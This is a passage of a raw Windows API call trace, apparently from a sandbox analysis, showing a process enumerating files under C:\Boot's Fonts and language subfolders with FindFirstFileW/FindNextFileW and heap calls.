nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0213.417] GetProcessHeap () returned 0xc10000 [0213.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x538, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x538, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x538, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x538, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0213.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x538, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x538, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x538, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x538, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x538, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x538, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x538, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x538, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0213.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x538, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0213.420] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x538, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0213.420] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x538, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0213.420] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x538, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0213.420] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x538, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0213.420] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0213.421] GetProcessHeap () returned 0xc10000 [0213.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.421] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0213.421] GetProcessHeap () returned 0xc10000 [0213.421] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.421] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.421] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.421] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.421] FindClose (in: hFindFile=0x33e4b28 | out: hFindFile=0x33e4b28) returned 1 [0213.422] GetProcessHeap () returned 0xc10000 [0213.422] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.422] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0213.422] GetProcessHeap () returned 0xc10000 [0213.422] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.422] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.422] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.422] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.422] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.422] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0213.423] GetProcessHeap () returned 0xc10000 [0213.423] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.423] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0213.423] GetProcessHeap () returned 0xc10000 [0213.423] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.423] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.423] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.423] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.423] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0213.423] GetProcessHeap () returned 0xc10000 [0213.423] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.423] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0213.423] GetProcessHeap () returned 0xc10000 [0213.423] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.424] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.424] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.424] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.424] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.424] FindClose (in: hFindFile=0x33e4b28 | out: hFindFile=0x33e4b28) returned 1 [0213.424] GetProcessHeap () returned 0xc10000 [0213.424] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.424] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, 